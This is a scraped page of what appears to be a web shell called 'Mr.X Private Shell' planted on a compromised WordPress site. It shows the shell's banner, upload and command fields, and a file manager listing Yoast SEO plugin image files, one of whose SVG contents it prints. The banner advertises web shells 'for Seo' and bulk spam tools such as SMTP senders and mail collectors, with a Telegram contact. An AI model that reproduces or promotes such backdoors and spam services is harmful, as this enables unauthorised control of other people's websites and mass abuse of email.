__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 752 247" stroke="#000" stroke-linecap="round"
	 stroke-linejoin="round" fill="#fff" fill-rule="evenodd" role="img" aria-hidden="true" focusable="false">
	<g stroke="none" class="B">
		<path
			d="M307.6714 13.3429c6.6273-6.5822 14.6953-12.7914 24.351-13.4694 5.0284-.8813 10.2037-.1243 15.0117 1.4464 3.5877 1.1469 6.294 3.8928 8.763 6.6047 3.3334-1.5819 7.0906-1.8362 10.7291-1.8023 3.3504-.1299 6.7968.8418 9.5201 2.8024 4.0453 3.9323 7.3223 8.8477 8.6782 14.3676.7119 3.808 1.0848 7.8873-.2203 11.6162.8249 2.3334 4.6103 2.7458 3.9606 5.6273-.7063 2.3729-2.6159 4.2091-4.3561 5.8984l-.6102.5424c-2.5312.6441-4.6047 2.2035-5.8872 4.4748-.322-1.921-2.6442-1.8645-3.9549-2.8419-5.9776-3.8137-10.7348-9.5201-13.3564-16.1192-1.2655-3.4351-2.7684-6.938-2.4746-10.6839-2.9831.661-6.0002 1.8588-8.068 4.1979-2.9775 2.8871-4.4521 6.8307-6.8194 10.1641-1.7459 2.3334-1.825 5.4522-3.5595 7.7856-1.1186 1.7006-3 2.5989-4.5877 3.7741 1.3786.3051 2.8984.3729 4.0736 1.243 1.113.9435.6723 2.8983-.6328 3.4238-2.2543.2881-4.5764-.2599-6.8025.3051-2.8249.8983-4.9945 3.0227-7.0115 5.0905-.9096 1.034-2.6102-.2203-2.4408-1.4181-.192-1.4068.9549-2.4125 1.6611-3.4803-2.7006.8983-5.5256 1.209-8.3166 1.5932-1.5085 1.243-2.8193 2.7628-4.0227 4.3053-1.5368-1.3447-3.0566-3.2205-5.3391-2.9097 1.2034 1.7006 2.8588 2.9888 4.4746 4.2713.2486 5.39 1.7741 10.5935 3.2713 15.7406.6159 2.2656 2.5199 3.808 4.3335 5.1357 3.5425 2.2204 7.4974 3.7403 10.9947 6.0228 1.8192 3.0283 3.3504 6.2544 4.4691 9.6161.5593 1.3729 1.0056 3.0453 2.5028 3.6837 4.6386 2.599 9.8083 4.0001 14.7124 6.0059 3.9549-2.0679 7.6951-4.5199 11.5313-6.7912.6159-.4633 1.5029-.7853 1.7176-1.6046 1.0566-3.8475 1.7402-7.7855 2.7459-11.6387.7401-2.6442 2.9605-4.4465 4.7063-6.4353 2.2657-2.6498 5.5652-4.4577 7.0002-7.7742.2543-5.8533.2939-11.7461-.6214-17.5542 1.2938-1.6328 2.5085-3.3278 3.7967-4.9606.0509 3.1018.5367 6.164.9831 9.2263.2598 3.6611.3502 7.3392.7119 10.989.0678.7458.2429 1.4972.6836 2.113 2.3334 3.0453 7.0793 3.7855 10.3111 1.7628-1.0001 3.2883-3.9324 5.3618-6.2262 7.7065-.0735.6553.2373 1.2712.3955 1.8983 1.096 2.5538 1.1638 5.7516-1.1639 7.65.9435 2.0509 1.6893 4.3221 1.1412 6.599-.209 1.4634-1.5367 2.2882-2.6045 3.1188.1751 2.0791 1.0395 4.26.1808 6.294-1.1131 1.8418-3.2657 2.5989-5.1753 3.3277-.4125 1.6611-.7685 3.4578-2.0396 4.7064-1.034 1.1808-2.7233 1.1526-4.1301 1.4916-1.13 2.2486-2.5368 4.6555-4.9606 5.6781-2.1244.548-4.2488-.339-6.3392-.6724-1.5255 1.599-3.1018 3.3844-5.3731 3.8589-2.3899.7967-4.7119-.5989-6.7798-1.6441-1.6385 1.2147-3.4238 2.599-5.5991 2.3334-2.3446.1469-3.9718-1.6328-5.5312-3.0735-2.1187 1.0791-4.5651 2.0001-6.9437 1.1977-2.2091-.5367-3.356-2.6554-4.6047-4.3504-2.8249-.0282-5.9776-.0282-8.2262-2.0057-1.695-1.322-2.3616-3.4238-3.034-5.3674-1.9153-.3051-4.1414-.3672-5.5256-1.9322-1.3503-1.6046-2.3108-3.5538-2.8306-5.5878-.565-2.3051.6385-4.4973 1.0283-6.7233-.9491-1.0848-2.4294-1.565-3.582-2.4182-3.1357-1.5763-3.5481-5.599-2.4238-8.5709-1.5651-1.1073-2.8362-2.5481-4.2205-3.8532 3.4634-.0226 7.0568-1.904 8.0285-5.4239.8475-2.2091.8023-4.6159.5989-6.938-.4294-4.5312-1.5085-8.9664-2.4351-13.4129-.4633-2.0735-3.0227-2.0113-4.4465-3.1357-2.2656-1.6441-4.5933-4.1187-4.1018-7.1471 1.1244-1.8814 3.1018-3.2656 3.469-5.5595-2.791-4.2769-1.8814-9.5652-.9265-14.2603 1.4407-5.2148 3.8306-10.328 7.7686-14.1303h0zm22.7803 19.3565c-2.6555 2.7797-4.39 6.2375-6.2827 9.5426 2.2713-.9039 3.9549-2.8079 5.6612-4.4916 3.6555-3.9662 7.7743-8.0737 9.006-13.5089-3.2544 2.3504-5.746 5.4747-8.3845 8.4579h0zm3.7402 8.3166c-1.0282 1.6215-2.3842 2.9888-3.4238 4.599 3.9549-2.1469 7.0567-6.2714 7.3731-10.8195-1.6102 1.8814-2.469 4.2487-3.9493 6.2205zm18.4187 7.6725c4.2995-2.5142 10.0737-3.1244 14.3224-.1356 1.4916.5876 2.13 2.8476.6046 3.7742-1.3955 1.1017-2.7403-.4238-4.0736-.7967-3.8645-1.0282-7.7856.5424-11.1077 2.4351-.8531-.4576-2.0452-1.017-1.9944-2.1639-.2147-1.4972 1.2317-2.339 2.2487-3.1131z"
			fill="#f17523"/>
		<path
			d="M349.7573 26.0043c2.0679-2.3391 5.0849-3.5369 8.0681-4.1979-.2939 3.7459 1.2091 7.2488 2.4746 10.6839 2.6215 6.5991 7.3787 12.3055 13.3563 16.1192 1.3108.9774 3.6329.9209 3.9549 2.8419-2.0847 2.8758-4.356 5.6216-6.3617 8.5539-1.8984.6441-3.8081 1.2656-5.7799 1.6554-1.4011-4.7064-7.7968-6.0228-11.4692-3.1922-.9662.8701-1.5933 2.034-2.1809 3.1753-1.4238-1.2995-3.0057-2.8589-5.1075-2.6668-2.9944.2091-5.3617 2.4408-7.0567 4.7403-.7966-2.8589-3.4295-5.1301-6.4521-5.0906-3.8929-.435-7.3844 2.7911-8.0455 6.503-1.8419.0791-3.7007.3164-5.5369.1074-3.0114-1.808-5.6838-4.147-8.3223-6.4465 1.2034-1.5425 2.5142-3.0623 4.0228-4.3052 2.791-.3842 5.6159-.695 8.3166-1.5933-.7062 1.0678-1.8532 2.0735-1.6611 3.4803-.1695 1.1978 1.5311 2.4521 2.4408 1.4181 2.017-2.0678 4.1866-4.1922 7.0115-5.0905 2.226-.565 4.5481-.017 6.8024-.3051 1.3052-.5255 1.7458-2.4803.6329-3.4238-1.1753-.8701-2.6951-.9379-4.0737-1.243 1.5877-1.1752 3.4691-2.0735 4.5878-3.7741 1.7345-2.3334 1.8136-5.4522 3.5594-7.7856 2.3673-3.3334 3.8419-7.277 6.8194-10.1641h0zm2.8532 22.6843c-1.017.774-2.4634 1.6158-2.2486 3.1131-.0509 1.1469 1.1413 1.7062 1.9943 2.1639 3.3222-1.8928 7.2432-3.4634 11.1078-2.4351 1.3333.3729 2.678 1.8983 4.0735.7966 1.5255-.9266.887-3.1865-.6045-3.7741-4.2488-2.9888-10.0229-2.3786-14.3225.1356zm-22.1588-15.9892c2.6384-2.9832 5.1301-6.1075 8.3844-8.4579-1.2317 5.4352-5.3504 9.5427-9.0059 13.5089-1.7063 1.6837-3.39 3.5877-5.6612 4.4916 1.8927-3.3051 3.6272-6.7629 6.2827-9.5426zm3.7402 8.3166c1.4803-1.9718 2.3391-4.3391 3.9493-6.2205-.3164 4.5482-3.4182 8.6726-7.3731 10.8195 1.0396-1.6102 2.3956-2.9775 3.4238-4.599zm49.3066 5.9607l.6101-.5424c1.6781-.5311 3.3391.9209 4.0905 2.339 2.6555 4.2092 3.39 9.441 2.3673 14.2717-1.0395 3.5085-2.6384 7.503-6.5086 8.616l-.0847.2656c-.4408-.6158-.6159-1.3673-.6837-2.1131-.3616-3.6498-.452-7.3279-.7119-10.989-.4464-3.0622-.9322-6.1245-.9831-9.2263.678-.8418 1.2995-1.7232 1.9041-2.6215zm-84.1099 8.3562c.5424-.5255 1.2035-1.6216 2.0735-.8927 1.4238 1.1243 3.9832 1.0622 4.4465 3.1357.9266 4.4464 2.0057 8.8816 2.4351 13.4128.2034 2.3221.2486 4.729-.5989 6.9381-1.4916-.243-3.0453-.5481-4.2035-1.582-4.4973-3.695-6.5991-9.7404-6.1189-15.4637.243-1.9323.5311-4.0962 1.9662-5.5482zm74.0192 5.0848l4.39-5.8589c.9153 5.8081.8757 11.7009.6214 17.5542-1.435 3.3165-4.7345 5.1244-7.0001 7.7742-1.7459 1.9888-3.9663 3.7911-4.7064 6.4353-1.0057 3.8532-1.6893 7.7912-2.7458 11.6387-.2147.8193-1.1018 1.1413-1.7176 1.6046-3.8363 2.2713-7.5765 4.7233-11.5314 6.7912-4.9041-2.0058-10.0738-3.4069-14.7123-6.0059-1.4972-.6384-1.9436-2.3108-2.5029-3.6837-1.1187-3.3617-2.6498-6.5878-4.4691-9.6161-3.4973-2.2826-7.4522-3.8024-10.9947-6.0228-1.8136-1.3277-3.7176-2.8701-4.3335-5.1357-1.4972-5.1471-3.0226-10.3506-3.2712-15.7406 3.1357 2.2034 5.5594 5.4408 9.1132 7.0171 1.8814.1074 3.7629-.0565 5.6443-.0791.1356 3.147 1.9435 6.3336 4.9663 7.4975 2.0847.7118 4.7232.9604 6.4917-.6272 2.322-1.7854 3.1639-4.7798 3.4351-7.5765 1.7684-2.0509 3.2995-4.7233 6.1471-5.3674 2.3503-.452 3.8249 1.808 5.1583 3.3391-.1695 2.4012.678 4.7742 2.1865 6.6273 2.8306 3.6555 9.6444 2.7289 11.2829-1.6328.8418-1.7402.661-3.7176.6836-5.5934 2.1809-.548 4.3617-1.13 6.4747-1.9209.6611-.2147.9606-.921 1.3899-1.4182h0zm-26.1194 21.4696c-2.7176.3729-5.2318-1.8644-7.9607-1.243 2.0113 1.9549 4.6781 3.4239 7.4014 4.0284 3.1582-.887 5.9267-3.0001 7.9041-5.5821-2.6893.0791-4.938 1.7967-7.3448 2.7967h0zm13.5766 1.4238c-6.7515 2.2204-13.2998 5.1753-20.3056 6.5256.678.8079 1.7402.9548 2.7458.7797 5.5143-.7797 10.6501-3.0284 15.8762-4.8307 1.6893-.6836 3.4803-1.4237 4.6499-2.8927-1.0057.0339-2.017.0847-2.9663.4181zm43.9053 73.3694c2.8419-.6723 6.0171-1.2317 8.746.1469 2.4973 1.3842 5.1471 2.5763 7.3223 4.4634 2.6385 2.3164 4.6555 5.2318 6.5143 8.1923 1.5706 2.6498 2.1469 5.729 2.3165 8.7686.305 1.5594.2994 3.1583.0847 4.7347-.5028 3.7515-.3616 7.8137-2.2487 11.2093-2.1808 2.4182-5.2431 3.7685-7.8025 5.729-2.7288 2.0114-6.4069 1.4577-9.2432-.0226-2.4972 2.5594-7.1979 3.9832-10.0455 1.2261-2.0904.2994-4.0961 1.4068-6.2487.9604-1.7176-.0847-3.0849-1.3277-4.1414-2.5706-1.0622-1.4182-.2317-3.181-.0282-4.729 1.1638-7.7065 2.0396-15.492 4.0961-23.029-4.9719.678-10.2376 1.0905-15.0852-.4576-1.7458-.6102-3.8193-1.2486-4.4295-3.2204-1.2373-2.0735-.3955-5.1358 2.0904-5.7516 3.9041-.2147 7.7461 1.8136 11.6558 1.0961 5.3165-2.599 10.6952-5.2262 16.4468-6.746zm-95.9068 18.9611c3.3447-1.1808 6.9663-2.4577 10.5257-1.4408 2.2713 1.3956 4.2656 3.277 5.8589 5.4126 3.486 4.7007 6.7177 9.5879 9.5088 14.7406.8022 1.4803 2.0396 3.147 1.2147 4.9041-.7458 2.0679-3.147 2.356-5.0284 2.6215-1.9379.339-3.3448-1.322-4.4464-2.6554-3.6273-4.8872-6.2318-10.6726-10.9213-14.6841 2.4634 4.2262 4.7007 8.5935 6.616 13.1021 1.0057 2.3843 1.2317 4.9889 2.0679 7.4183.6723 1.5424.3842 3.599-1.2712 4.373-2.3561.6102-4.8363 1.0961-7.2771.7797-1.2147-.1356-2.1752-1.0508-3.373-1.2203-1.5424.4237-2.9605 1.2373-4.5425 1.5367-2.5877.6328-5.277-.1299-7.8702.4972-2.8815.678-5.876.1017-8.5936-.9266-3.1695-1.2655-5.3447-4.1131-6.8476-7.0736-.6497-1.2656-1.1865-2.5877-1.565-3.9549-.5537-2.9267-.6724-5.9607-.3673-8.9156.2091-2.1582 2.2148-3.3221 3.8928-4.3052 7.3674-3.6272 14.4185-8.0624 22.4188-10.2093z"
			fill="#fccda3"/>
		<path
			d="M377.6113 51.4513c1.2825-2.2712 3.356-3.8306 5.8872-4.4747l-1.904 2.6216-3.7967 4.9606-4.39 5.8589c-.4294.4972-.7289 1.2034-1.3899 1.4181-2.113.791-4.2939 1.3729-6.4748 1.921l-.0734-2.0961c1.9718-.3899 3.8815-1.0114 5.7798-1.6555 2.0057-2.9322 4.277-5.6781 6.3618-8.5539zm-71.6519 4.4296c2.2825-.3108 3.8024 1.565 5.3391 2.9097 2.6385 2.2995 5.3109 4.6385 8.3223 6.4465 1.8362.209 3.695-.0283 5.5369-.1074l.0339 1.9605c-1.8814.0226-3.7628.1865-5.6442.0791-3.5538-1.5763-5.9776-4.8137-9.1133-7.0171-1.6159-1.2825-3.2713-2.5707-4.4747-4.2713zm33.696 7.8364c1.6949-2.2995 4.0623-4.5312 7.0567-4.7403 2.1017-.192 3.6837 1.3673 5.1075 2.6668l-.4294 2.7119c-1.3334-1.5311-2.808-3.791-5.1583-3.339-2.8476.644-4.3787 3.3164-6.1471 5.3673l-.4294-2.6667z"
			fill="#847972"/>
		<path
			d="M354.0004 58.4685c3.6725-2.8306 10.0681-1.5141 11.4693 3.1922l.0735 2.0961c-.0226 1.8758.1582 3.8532-.6836 5.5934-1.6385 4.3617-8.4523 5.2883-11.2829 1.6328-1.5085-1.8531-2.356-4.2261-2.1865-6.6273.0961-.9096.243-1.8136.4294-2.7119.5876-1.1413 1.2147-2.3052 2.1808-3.1753h0zm5.181 5.8872c-2.5651 1.2938-3.4521 5.3279-1.3673 7.424 2.6555 1.9096 5.8646-1.3617 5.4635-4.1414.5423-2.3278-2.0453-3.9606-4.0962-3.2826zm-34.0237.774c.661-3.712 4.1526-6.9381 8.0455-6.503 3.0226-.0395 5.6555 2.2317 6.4521 5.0905.1638.8814.3051 1.7741.4294 2.6668-.2712 2.7967-1.113 5.7911-3.4351 7.5765-1.7685 1.5876-4.4069 1.339-6.4917.6271-3.0227-1.1639-4.8307-4.3504-4.9663-7.4974l-.0339-1.9605h0zm7.6274 1.5255c-3.034 1.4859-2.8419 7.3674.9548 7.6443 3.4238.0056 4.9776-4.5087 3.3447-7.1415-1.0734-1.1413-2.9831-1.4012-4.2995-.5028zm27.7691-.4294c1.3165-.6159 1.7798 2.1526.3165 1.8475-.9323.1243-1.2148-1.6724-.3165-1.8475zm-25.8877 2.26c.7571-1.3447 2.5142.6101 1.339 1.3164-.8192.9492-1.7119-.565-1.339-1.3164z"/>
		<path
			d="M359.1814 64.3557c2.0509-.678 4.6385.9549 4.0962 3.2826.4011 2.7798-2.808 6.051-5.4635 4.1414-2.0848-2.0961-1.1978-6.1301 1.3673-7.424h0zm1.3729 1.8701c-.8983.1752-.6158 1.9718.3164 1.8475 1.4633.3051 1-2.4633-.3164-1.8475zm-27.7692.4293c1.3164-.8983 3.2261-.6384 4.2996.5029 1.6328 2.6328.0791 7.1471-3.3447 7.1415-3.7968-.2769-3.9889-6.1584-.9549-7.6444h0zm1.8814 1.8306c-.3729.7514.5198 2.2656 1.339 1.3164 1.1753-.7062-.5819-2.6611-1.339-1.3164zm337.4791 82.2963l79.1154-9.5257v4.7403l-58.2278 7.0962-81.8669 9.3788-105.4268 13.4694c-10.7687 1.6836-21.6222 2.7176-32.4361 4.0227l-21.2039 1.7232c-7.4466.4689-14.8763 1.4012-22.3454 1.2995.2147-1.5764.2204-3.1753-.0847-4.7346 6.26.0056 12.4919-.6159 18.735-1.0679 11.9834-1.0056 24.0233-1.6045 35.9276-3.4068 14.9553-1.2995 29.7241-4.1019 44.6059-5.9946 47.6455-6.3844 95.4322-11.6557 143.2077-17.0005zm-299.2124 21.6956l6.0736-1.1752c4.8477 1.5481 10.1133 1.1356 15.0852.4576-2.0565 7.537-2.9322 15.3225-4.0961 23.029-3.695.8136-7.424 1.4633-11.1303 2.226-.4407-1.6667-.7175-3.3786-1.2373-5.0227-1.9379-.2938-3.9945.7684-6.0115.8023-1.2712-.0339-3.3277.6723-3.9097-.8984-.6215-.8757.2599-1.887 1.017-2.2995 2.4633-1.2938 5.3109-1.4463 7.8928-2.4181l-1.4463-5.8533c-3.0736.3899-6.0793 1.5424-9.2037 1.3051-1.3729-.4915-1.5254-2.678-.2316-3.3278 2.582-1.2938 5.52-1.6045 8.2375-2.5594l-1.0396-4.2656zm-47.6851 7.1358l15.3338-2.0057c2.1639 7.7177 3.5086 15.6389 4.6838 23.56-6.9155 1.6894-13.9552 2.9154-21.0063 3.8928-.8362-2.4295-1.0622-5.034-2.0679-7.4183-1.9153-4.5086-4.1526-8.876-6.616-13.1021 4.6895 4.0114 7.294 9.7969 10.9213 14.6841 1.1016 1.3334 2.5085 2.9944 4.4464 2.6554 1.8814-.2655 4.2826-.5537 5.0284-2.6215.8248-1.7572-.4125-3.4239-1.2147-4.9041-2.791-5.1527-6.0228-10.0399-9.5088-14.7406zm-75.7028 21.0854c7.6951-.7062 15.4468-.4125 23.1419-1.1526 3.4013-.2994 6.8138-.5311 10.232-.4746.3785 1.3673.9152 2.6894 1.565 3.955-3.3617.1186-6.7234.3107-10.0625.7062-8.4295 1.1187-16.9552 1.0791-25.4244 1.7854-12.0456.9887-24.1533.5536-36.2045 1.4576l-1.0226.4238c-.7232-.356-1.5255-.3899-2.3108-.3277-10.1642.7627-20.3623.435-30.549.5932l-75.6859.0113c-27.8765-.1017-55.7531.2656-83.624-.3051-6.7007-.7119-13.4636-1.1356-20.0991-2.339v-2.9041l18.9635.6893 25.9895.113 140.654-.0622c8.8081-.0056 17.6333-.0791 26.4245-.5197 12.6388-1.1639 25.3679-.5481 38.0124-1.6498z"
			fill="#3e2723"/>
		<path
			d="M347.2884 81.8873c2.4069-1 4.6555-2.7176 7.3448-2.7967-1.9774 2.582-4.7459 4.6951-7.9041 5.5821-2.7233-.6045-5.39-2.0735-7.4014-4.0284 2.7289-.6215 5.2431 1.6159 7.9607 1.243zm13.5766 1.4238c.9492-.3333 1.9605-.3842 2.9662-.4181-1.1695 1.469-2.9606 2.2091-4.6499 2.8927-5.2261 1.8024-10.3619 4.051-15.8762 4.8307-1.0056.1751-2.0678.0282-2.7458-.7797 7.0059-1.3503 13.5541-4.3052 20.3057-6.5256z"
			fill="#dba378"/>
		<path
			d="M388.4534 83.2941c10.4071.7006 20.865 1.0565 31.1592 2.8927 14.006 2.5707 27.9386 5.5482 41.7978 8.8421 4.8363 1.0735 9.4692 2.8645 14.1586 4.4352 3.277 1.1356 6.633 2.0735 9.7574 3.6159 5.5369 2.678 11.684 4.3109 16.5259 8.2601 5.6104 4.2148 9.5201 10.3845 11.9438 16.9045 1.8589 6.4748 1.3674 13.4298-.2655 19.8933-.7006 4.1978-2.6837 8.1697-5.5933 11.2715-3.6838 3.5594-8.1076 6.2261-12.3733 9.0115-3.4464 2.3561-7.4296 3.6951-11.232 5.3561-11.9043 1.8024-23.9442 2.4012-35.9276 3.4069-6.2431.452-12.475 1.0735-18.735 1.0679-.1696-3.0397-.7459-6.1189-2.3165-8.7687-1.8588-2.9605-3.8758-5.8759-6.5143-8.1923-2.1752-1.8871-4.825-3.0792-7.3223-4.4634-2.7289-1.3786-5.9041-.8193-8.746-.1469-5.7516 1.5198-11.1303 4.147-16.4468 6.7459-3.9097.7176-7.7517-1.3107-11.6557-1.096-2.486.6158-3.3278 3.678-2.0905 5.7516.6102 1.9718 2.6837 2.6102 4.4295 3.2204-2.0452.2938-4.0623.7401-6.0736 1.1752.3672 1.4124.7119 2.8362 1.0396 4.2656-2.7176.9548-5.6556 1.2656-8.2376 2.5594-1.2938.6498-1.1413 2.8363.2317 3.3278 3.1244.2373 6.1301-.9153 9.2036-1.3051.5255 1.9379.9887 3.8928 1.4464 5.8533-2.582.9717-5.4295 1.1243-7.8929 2.4181-.7571.4125-1.6385 1.4238-1.017 2.2995.582 1.5707 2.6385.8645 3.9098.8983 2.0169-.0338 4.0735-1.096 6.0114-.8022.5198 1.6441.7967 3.356 1.2373 5.0227l11.1304-2.226c-.2035 1.548-1.034 3.3108.0282 4.7289 1.0565 1.243 2.4238 2.486 4.1414 2.5707 2.1526.4464 4.1583-.661 6.2488-.9604 2.8475 2.7571 7.5482 1.3333 10.0454-1.2261 2.8363 1.4803 6.5144 2.034 9.2432.0226 2.5594-1.9605 5.6217-3.3108 7.8025-5.729 1.8871-3.3955 1.7459-7.4578 2.2487-11.2094 7.4692.1018 14.8987-.8305 22.3453-1.2994.3503 7.7686 1.1526 15.5033 1.5537 23.2606-.0282 4.1413.7571 8.2262.7854 12.3619.1864 9.7178-.0735 19.4356-.0509 29.1478-65.1545-.0283-130.309.0056-195.4635-.017l.9492-16.6332c.113-5.0793.0508-10.1585.0734-15.2378-6.5877 1.7063-13.4862 2.034-20.2492 1.4973-9.8082-.6046-19.6164-3.3504-27.9274-8.667l1.0227-.4237c12.0512-.904 24.1589-.469 36.2045-1.4577 8.4691-.7062 16.9948-.6667 25.4245-1.7854 3.339-.3955 6.7007-.5875 10.0624-.7062 1.5029 2.9605 3.6781 5.8081 6.8477 7.0736 2.7175 1.0283 5.712 1.6046 8.5935.9267 2.5932-.6272 5.2826.1355 7.8702-.4972 1.582-.2995 3.0001-1.1131 4.5425-1.5368 1.1978.1695 2.1583 1.0848 3.373 1.2204 2.4408.3164 4.921-.1695 7.2771-.7797 1.6554-.7741 1.9435-2.8306 1.2712-4.373 7.0511-.9775 14.0908-2.2035 21.0063-3.8928-1.1752-7.9212-2.5198-15.8423-4.6838-23.56l-15.3338 2.0057c-1.5932-2.1357-3.5876-4.0171-5.8589-5.4126-3.5594-1.017-7.181.2599-10.5257 1.4407-8.0003 2.1469-15.0514 6.5821-22.4188 10.2093-1.678.9831-3.6837 2.147-3.8928 4.3053-.3051 2.9548-.1864 5.9888.3673 8.9155-3.4182-.0565-6.8308.1751-10.232.4746-7.6951.7401-15.4468.4463-23.1419 1.1525-12.6445 1.1018-25.3737.4859-38.0125 1.6498-1.8248-.1017-3.6554-.113-5.4804-.0565-4.2882-4.3504-7.034-10.0059-8.2827-15.9496-.4972-2.9041.3899-5.7629 1.0057-8.5765 1.0113-5.1697 3.712-9.8026 6.6273-14.1191 3.1809-4.6781 7.4918-8.3845 11.4241-12.3959 2.2374-2.6215 4.5707-5.2035 7.3901-7.2205 4.5481-3.599 9.2262-7.0285 13.9834-10.3562 10.0399-7.2602 20.6956-13.5937 31.0744-20.3453 4.712-3.2656 10.085-5.3448 15.153-7.972 5.034-2.3786 9.9269-5.1244 15.266-6.7855 2.2882-.7571 4.5255-1.678 6.6668-2.7967 1.1526.8531 2.6329 1.3334 3.5821 2.4181-.3899 2.2261-1.5933 4.4183-1.0283 6.7234.5198 2.034 1.4803 3.9832 2.8306 5.5878 1.3842 1.565 3.6103 1.6271 5.5256 1.9322.6723 1.9436 1.339 4.0453 3.034 5.3674 2.2487 1.9775 5.4013 1.9775 8.2262 2.0057 1.2487 1.695 2.3956 3.8137 4.6047 4.3504 2.3786.8023 4.825-.1186 6.9437-1.1977 1.5594 1.4407 3.1865 3.2204 5.5312 3.0735 2.1752.2655 3.9606-1.1187 5.5991-2.3334 2.0678 1.0452 4.3899 2.4407 6.7798 1.6441 2.2713-.4746 3.8476-2.2599 5.373-3.8589 2.0905.3334 4.2149 1.2204 6.3393.6724 2.4237-1.0227 3.8305-3.4295 4.9606-5.6782 1.4068-.339 3.0961-.3107 4.13-1.4915 1.2713-1.2487 1.6272-3.0453 2.0396-4.7064 1.9097-.7288 4.0623-1.4859 5.1753-3.3278.8588-2.0339-.0056-4.2148-.1808-6.2939 1.0678-.8306 2.3955-1.6555 2.6047-3.1188.5479-2.2769-.1978-4.5481-1.1413-6.5991 2.3277-1.8983 2.2599-5.0962 1.1638-7.6499z"
			fill="#bf360c"/>
	</g>
</svg>

Filemanager

Name Type Size Permission Actions
Yoast_SEO_Icon.svg File 1.03 KB 0775
Yoast_icon_kader.svg File 1.31 KB 0775
algolia-logo.svg File 5.27 KB 0775
connection-assistant.svg File 17.48 KB 0775
edd-logo.svg File 23.85 KB 0775
elementor-logo.svg File 5.83 KB 0775
g2_logo_white_optm.svg File 835 B 0775
icon-arrow-down.svg File 262 B 0775
icon-facebook.svg File 509 B 0775
icon-twitter.svg File 712 B 0775
indexables_1_left_bubble_optm.svg File 12.38 KB 0775
indexables_2_left_bubble_optm.svg File 11.04 KB 0775
jetpack-logo.svg File 7.37 KB 0775
logo-g2-white.svg File 1.1 KB 0775
mastodon-logo.svg File 5.56 KB 0775
motivated_bubble_woman_1_optim.svg File 7.07 KB 0775
semrush-logo.svg File 3.99 KB 0775
site-kit-logo.svg File 4.85 KB 0775
ssp-logo.svg File 30.11 KB 0775
star-rating-half.svg File 898 B 0775
star-rating-star.svg File 354 B 0775
succes_marieke_bubble_optm.svg File 7.29 KB 0775
tec-logo.svg File 14.9 KB 0775
wincher-logo.svg File 4.5 KB 0775
woo-yoast-logo.svg File 3.65 KB 0775
wordproof-logo.svg File 3.19 KB 0775
wp-recipe-maker-logo.svg File 10.16 KB 0775
x-logo.svg File 408 B 0775
yoast-connect-google-site-kit.svg File 19.25 KB 0775
yoast_loading_spinner.svg File 1.13 KB 0775
Filemanager